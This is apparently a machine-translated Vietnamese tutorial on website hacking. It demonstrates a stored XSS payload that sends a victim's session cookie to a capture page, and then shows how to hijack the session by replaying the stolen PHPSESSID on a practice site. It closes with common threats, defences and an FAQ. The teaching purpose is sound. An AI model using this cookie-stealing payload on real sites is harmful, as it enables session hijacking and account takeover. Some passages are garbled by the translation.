Làm thế nào để tấn công một trang web? Các kỹ thuật tấn công trang web

⚡ Tóm tắt thông minh

Tấn công website khai thác các điểm yếu trong ứng dụng web — mã lập trình kém, dữ liệu đầu vào không được kiểm tra kỹ lưỡng và xử lý phiên yếu — để giành quyền truy cập trái phép. Trang này trình bày các kỹ thuật tấn công phổ biến và, quan trọng hơn, các biện pháp đối phó giúp bảo mật website.

  • 🌐 Target: Các ứng dụng web chấp nhận dữ liệu đầu vào từ người dùng qua internet, khiến bất kỳ trường dữ liệu nào chưa được xác thực đều dễ bị tấn công.
  • 💉 Kỹ thuật: Tấn công SQL injection, tấn công kịch bản chéo trang (XSS), làm nhiễm độc phiên (session poisoning), giả mạo biểu mẫu (form tampering) và chèn mã (code injection) là những phương pháp phổ biến nhất.
  • 🍪 Đánh cắp phiên: Việc đánh cắp ID phiên cho phép kẻ tấn công mạo danh người dùng đã đăng nhập mà không cần mật khẩu.
  • 🛡️ Phòng thủ: Xác thực dữ liệu đầu vào, truy vấn tham số hóa và cookie phiên được mã hóa giúp khắc phục những thiếu sót thường gặp.
  • 🎯 Gói tiêu chuẩn: OWASP Top 10 xác định các lỗ hổng bảo mật web mà mọi nhà phát triển nên kiểm tra.
  • 🤖 Phong cách hiện đại: Tường lửa hỗ trợ bởi trí tuệ nhân tạo học hỏi lưu lượng truy cập bình thường và phát hiện các nỗ lực tấn công xâm nhập trong thời gian thực.

Cách hack một trang web

Nhiều người có quyền truy cập internet hơn bao giờ hết. Điều này đã thúc đẩy nhiều tổ chức phát triển các ứng dụng dựa trên web mà người dùng có thể sử dụng trực tuyến để tương tác với tổ chức. Mã được viết kém cho các ứng dụng web có thể bị khai thác để truy cập trái phép vào dữ liệu nhạy cảm và máy chủ web.

Bạn sẽ học được các kỹ thuật tấn công website phổ biến và các biện pháp đối phó để bảo vệ chống lại các cuộc tấn công đó.

Cách hack một trang web

Trong kịch bản thực tế về việc hack trang web này, chúng tôi sẽ chiếm quyền điều khiển phiên người dùng của ứng dụng web có tại www.techpanda.orgChúng tôi sẽ sử dụng tấn công kịch bản chéo trang (cross-site scripting) để đọc ID phiên cookie, sau đó sử dụng nó để mạo danh một phiên người dùng hợp lệ.

Giả định được đưa ra là kẻ tấn công có quyền truy cập vào ứng dụng web và muốn chiếm đoạt phiên làm việc của những người dùng khác sử dụng cùng ứng dụng đó. Mục tiêu của cuộc tấn công này có thể là giành quyền quản trị ứng dụng web, giả sử tài khoản của kẻ tấn công là tài khoản có quyền hạn hạn chế.

Bước 1) Mở URL http://www.techpanda.org/.

Để thực hành, chúng tôi đặc biệt khuyến khích bạn thử tấn công bằng phương pháp SQL Injection. Tham khảo thêm thông tin tại... Bài viết này nói về tấn công SQL Injection. để biết thêm thông tin về cách thực hiện điều đó.

Bước 2) Nhập thông tin đăng nhập.

Địa chỉ email đăng nhập là admin@google.com, và mật khẩu là Password2010.

Bước 3) Kiểm tra bảng điều khiển.

Nếu bạn đăng nhập thành công, bạn sẽ thấy bảng điều khiển sau.

Giao diện Techpanda hiển thị sau khi đăng nhập thành công.

Bước 4) Nhập nội dung mới.

Nhấp vào Thêm liên hệ mới và nhập thông tin sau vào phần Tên:

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Bước 5) Thêm JavaKịch bản.

Đoạn mã trên sử dụng JavaĐoạn mã này thêm một siêu liên kết với sự kiện `onclick`. Khi người dùng vô tình nhấp vào liên kết, sự kiện sẽ truy xuất thông tin cần thiết. ID phiên cookie PHP và gửi nó đến trang snatch_sess_id.php cùng với ID phiên trong URL.

Biểu mẫu Thêm Liên hệ Mới với đoạn mã độc hại được nhập vào trường tên.

Bước 6) Thêm chi tiết.

Nhập các thông tin còn lại như hình bên dưới và nhấn vào Lưu thay đổi.

Biểu mẫu liên hệ đã hoàn tất và sẵn sàng được lưu vào cơ sở dữ liệu.

Bước 7) Kiểm tra bảng điều khiển.

Trang tổng quan của bạn giờ sẽ trông giống như hình ảnh bên dưới.

Bảng điều khiển danh bạ hiển thị mục đã lưu với liên kết tối.

Bước 8) Kiểm tra ID phiên.

Vì mã độc tấn công chéo trang (CSScript) được lưu trữ trong cơ sở dữ liệu, nên nó sẽ được tải mỗi khi người dùng có quyền truy cập đăng nhập. Khi quản trị viên đăng nhập và nhấp vào liên kết có nội dung "Dark", họ sẽ nhận được một cửa sổ hiển thị ID phiên. URL.

Cửa sổ trình duyệt hiển thị ID phiên đã được ghi lại được truyền vào. URL

Lưu ý: tập lệnh có thể gửi giá trị đến máy chủ từ xa nơi lưu trữ PHPSESSID, sau đó chuyển hướng người dùng trở lại như thể không có chuyện gì xảy ra.

Lưu ý: Giá trị bạn nhận được có thể khác với giá trị hiển thị ở đây, nhưng nguyên lý thì vẫn giống nhau.

Phiên mạo danh sử dụng Firefox và tiện ích bổ sung Dữ liệu giả mạo

Lưu ý: tiện ích bổ sung Tamper Data cổ điển được hiển thị bên dưới không còn cài đặt được trên các thiết bị hiện tại. FirefoxNhưng khái niệm mà nó minh họa — chặn và sửa đổi yêu cầu HTTP để phát lại phiên đã được ghi lại — vẫn không thay đổi.

Sơ đồ dưới đây cho thấy các bước bạn phải thực hiện để hoàn thành bài tập này.

Sơ đồ quy trình các bước của bài tập mạo danh phiên làm việc

  • Bạn sẽ cần Firefox Trình duyệt web cho phần này và tiện ích bổ sung Tamper Data.
  • Mở Firefox và cài đặt tiện ích bổ sung như được minh họa trong các sơ đồ bên dưới.

Firefox Trình quản lý tiện ích bổ sung được sử dụng để tìm kiếm tiện ích bổ sung Tamper Data.

Dữ liệu giả mạo được liệt kê trong Firefox kết quả tìm kiếm tiện ích bổ sung

  • Tìm kiếm dữ liệu chống giả mạo, sau đó nhấp vào cài đặt như hình trên.

Hộp thoại cấp quyền tiện ích bổ sung với nút Chấp nhận và Cài đặt.

  • Nhấp vào Chấp nhận và cài đặt…

Firefox Yêu cầu khởi động lại trình duyệt sau khi cài đặt tiện ích bổ sung.

Firefox Thanh menu đã được bật nên menu Công cụ hiển thị.

  • Nhấp vào "Khởi động lại ngay" khi quá trình cài đặt hoàn tất.
  • Kích hoạt thanh menu trong Firefox Nếu nó không được hiển thị.

Menu Công cụ đang mở với tùy chọn "Tamper Data" được chọn.

  • Nhấp vào menu Công cụ, sau đó chọn Sửa lỗi dữ liệu như hình bên dưới.

Xóa cửa sổ Dữ liệu can thiệp trước khi chụp yêu cầu

  • Bạn sẽ thấy cửa sổ sau. Lưu ý: Nếu cửa sổ không trống, hãy nhấn nút xóa.

Cửa sổ bật lên "Tamper Data" nhắc nhở bạn can thiệp vào yêu cầu gửi đi.

  • Nhấp vào menu Bắt đầu can thiệp.
  • Chuyển trở lại Firefox Trên trình duyệt web, nhập http://www.techpanda.org/dashboard.php, sau đó nhấn phím Enter để tải trang.
  • Bạn sẽ nhận được thông báo bật lên sau từ Tamper Data.

Cửa sổ bật lên xác nhận với các tùy chọn Xác nhận, Gửi và Hủy bỏ.

  • Cửa sổ bật lên có ba (3) tùy chọn. Tùy chọn Tamper cho phép bạn sửa đổi thông tin tiêu đề HTTP trước khi nó được gửi đến máy chủ.
  • Nhấn vào nó.
  • Bạn sẽ nhận được cửa sổ sau.

Trình chỉnh sửa tiêu đề yêu cầu, nơi có thể thay thế giá trị cookie.

  • Sao chép ID phiên PHP mà bạn đã sao chép từ cuộc tấn công. URL và dán nó sau dấu bằng. Giá trị của bạn bây giờ sẽ trông như thế này.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
  • Bấm vào nút OK.
  • Cửa sổ bật lên "Dữ liệu bị can thiệp" sẽ lại hiện ra.

Cửa sổ bật lên "Tamper Data" xuất hiện lại với hộp kiểm "Continue Tampering" (Tiếp tục sửa đổi dữ liệu)

  • Bỏ chọn hộp kiểm có nội dung hỏi Tiếp tục can thiệp?
  • Khi hoàn tất, hãy nhấn nút gửi.
  • Bạn sẽ thấy bảng điều khiển như hình bên dưới.

Truy cập bảng điều khiển Techpanda bằng cách phát lại phiên đã ghi lại.

Lưu ý: chúng tôi không đăng nhập; chúng tôi đã giả mạo phiên đăng nhập bằng cách sử dụng giá trị PHPSESSID mà chúng tôi thu được thông qua tấn công kịch bản chéo trang (cross-site scripting).

Ứng dụng web là gì? Các mối đe dọa web là gì?

Ứng dụng web (hay còn gọi là trang web) là một ứng dụng dựa trên mô hình client-server. Máy chủ cung cấp quyền truy cập cơ sở dữ liệu và logic nghiệp vụ. Nó được lưu trữ trên một máy chủ web. Ứng dụng khách chạy trên trình duyệt web của khách hàng. Các ứng dụng web thường được viết bằng các ngôn ngữ như JavaC#, VB.Net, PHPvà ngôn ngữ đánh dấu ColdFusion, v.v. Các công cụ cơ sở dữ liệu được sử dụng trong các ứng dụng web bao gồm MySQL, Máy chủ MS SQL, PostgreSQL, SQLite, Vv

Kỹ thuật hack trang web hàng đầu

Hầu hết các ứng dụng web được lưu trữ trên các máy chủ công cộng. máy chủ Có thể truy cập qua Internet. Điều này khiến chúng dễ bị tấn công do khả năng truy cập dễ dàng. Sau đây là các mối đe dọa phổ biến đối với ứng dụng web.

  • SQL Injection – mục tiêu của mối đe dọa này có thể là bỏ qua các thuật toán đăng nhập, phá hoại dữ liệu, v.v.
  • Denial of Service Các cuộc tấn công – Mục tiêu của mối đe dọa này có thể là nhằm ngăn chặn người dùng hợp pháp truy cập vào tài nguyên.
  • Tập lệnh chéo trang (XSS) – Mục tiêu của mối đe dọa này có thể là chèn mã có thể được thực thi trên trình duyệt phía máy khách.
  • Ngộ độc cookie/phiên – mục tiêu của mối đe dọa này là kẻ tấn công sửa đổi cookie/dữ liệu phiên để có được quyền truy cập trái phép.
  • Giả mạo biểu mẫu – mục tiêu của mối đe dọa này là sửa đổi dữ liệu biểu mẫu như giá trong các ứng dụng thương mại điện tử để kẻ tấn công có thể nhận được các mặt hàng với giá giảm.
  • Code Tiêm – mục tiêu của mối đe dọa này là tiêm nhiễm mã như PHP, Python, v.v. có thể được thực thi trên máy chủ. Mã có thể cài đặt cửa hậu, tiết lộ thông tin nhạy cảm, v.v.
  • làm xấu mặt – Mục tiêu của mối đe dọa này là sửa đổi trang đang hiển thị trên một trang web và chuyển hướng tất cả các yêu cầu truy cập trang đến một trang duy nhất chứa thông điệp của kẻ tấn công.

Làm cách nào để bảo vệ trang web của bạn khỏi bị hack?

Một tổ chức có thể áp dụng chính sách sau để bảo vệ mình khỏi các cuộc tấn công vào máy chủ web.

  • SQL Injection – Việc làm sạch và xác thực các tham số người dùng trước khi gửi chúng đến cơ sở dữ liệu để xử lý có thể giúp giảm nguy cơ bị tấn công bằng phương pháp SQL Injection. Các công cụ cơ sở dữ liệu như MS SQL Server, MySQLv.v... hỗ trợ các tham số và câu lệnh được chuẩn bị sẵn. Chúng an toàn hơn nhiều so với các câu lệnh SQL truyền thống.
  • Sự từ chối của dịch vụ tấn công – Tường lửa có thể được sử dụng để chặn lưu lượng truy cập từ các địa chỉ IP đáng ngờ nếu cuộc tấn công chỉ là một cuộc tấn công từ chối dịch vụ (DoS) đơn giản. Cấu hình mạng đúng cách và hệ thống phát hiện xâm nhập (IDS) cũng có thể giúp giảm khả năng thành công của một cuộc tấn công DoS.
  • Cross-Site Scripting – Xác thực và làm sạch các tiêu đề, tham số được truyền qua URLCác tham số biểu mẫu và giá trị ẩn có thể giúp giảm thiểu các cuộc tấn công XSS.
  • Ngộ độc cookie/phiên – Điều này có thể được ngăn chặn bằng cách mã hóa nội dung của cookie, đặt thời hạn cho cookie sau một khoảng thời gian nhất định và liên kết cookie với địa chỉ IP của máy khách đã được sử dụng để tạo ra chúng.
  • Giả mạo biểu mẫu – Điều này có thể được ngăn chặn bằng cách xác thực và kiểm tra dữ liệu người dùng nhập vào trước khi xử lý.
  • Code Tiêm – Điều này có thể được ngăn chặn bằng cách coi tất cả các tham số là dữ liệu chứ không phải mã thực thi. Việc làm sạch và xác thực có thể được sử dụng để thực hiện điều này.
  • làm xấu mặt – tốt bảo mật ứng dụng web Chính sách cần đảm bảo khắc phục các lỗ hổng thường được sử dụng để truy cập máy chủ web. Điều này có thể bao gồm cấu hình phù hợp hệ điều hành, phần mềm máy chủ web và áp dụng các biện pháp bảo mật tốt nhất trong quá trình phát triển.ping Ứng dụng web.

Kiểm tra điều này: 9 tốt nhất URL Các công cụ quét để kiểm tra xem liên kết có an toàn khỏi phần mềm độc hại hay không.

Câu Hỏi Thường Gặp

Chỉ được phép thực hiện khi có sự cho phép bằng văn bản của chủ sở hữu. Việc kiểm tra một trang web mà bạn không sở hữu hoặc không có quyền đánh giá là bất hợp pháp theo các luật như Đạo luật Gian lận và Lạm dụng Máy tính của Hoa Kỳ. Phạm vi chương trình tìm lỗi bảo mật sẽ quy định những gì được phép.

Hãy chú ý đến các trang bị thay đổi nội dung, người dùng quản trị mới bất ngờ, các tệp hoặc tập lệnh không quen thuộc, chuyển hướng đến các trang web spam và sự tăng đột biến lưu lượng truy cập. Giám sát tính toàn vẹn của tệp, xem xét nhật ký máy chủ và phần mềm quét mã độc giúp phát hiện hầu hết các lỗ hổng bảo mật từ sớm.

OWASP Top 10 là danh sách do cộng đồng duy trì về các rủi ro bảo mật ứng dụng web nghiêm trọng nhất. Phiên bản năm 2025 xếp Lỗi Kiểm soát Truy cập (Broken Access Control) ở vị trí đầu tiên, tiếp theo là Lỗi Cấu hình Bảo mật (Security Misconfiguration) và Lỗi Chuỗi Cung ứng Phần mềm (Software Supply Chain Failures).

Tường lửa ứng dụng web (WAF) kiểm tra lưu lượng HTTP đến và chặn các kiểu tấn công đã biết như tấn công SQL injection và tấn công kịch bản chéo trang (XSS) trước khi chúng tiếp cận ứng dụng. Nó cung cấp khả năng vá lỗi ảo nhưng không thay thế mã bảo mật.

Tường lửa hỗ trợ bởi trí tuệ nhân tạo (AI) học cách lưu lượng truy cập bình thường của một trang web, sau đó gắn cờ các bất thường như các nỗ lực tấn công chèn mã độc, tấn công đánh cắp thông tin đăng nhập và lạm dụng bot trong thời gian thực. Các mô hình học máy phát hiện các mẫu tấn công zero-day mà các quy tắc tĩnh bỏ sót, với tỷ lệ cảnh báo sai thấp hơn.

Các trợ lý AI như Trợ lý GitHub Chúng giúp tăng tốc quá trình xác thực đầu vào và các truy vấn tham số hóa, nhưng cũng có thể đề xuất các mẫu không an toàn. Hãy coi mỗi đề xuất như một bản nháp và nhờ người kiểm tra lại trước khi triển khai.

Các lựa chọn phổ biến bao gồm CEH, OSCP và CompTIA Security+, trong khi CISSP Nội dung bao quát kiến ​​trúc bảo mật một cách tổng quát. Họ xác nhận các kỹ năng đánh giá lỗ hổng, cấu hình bảo mật và phòng thủ mà nhà tuyển dụng mong đợi ở các vị trí bảo mật web.

Quét lỗ hổng bảo mật được thực hiện tự động và nhanh chóng liệt kê các điểm yếu đã biết mà không cần khai thác chúng. Kiểm thử xâm nhập là một hoạt động chủ yếu thủ công, trong đó người kiểm thử chủ động khai thác các lỗ hổng để chứng minh tác động thực tế. Quét cung cấp phạm vi bao quát; kiểm thử xâm nhập cung cấp chiều sâu.

Tóm tắt bài viết này với: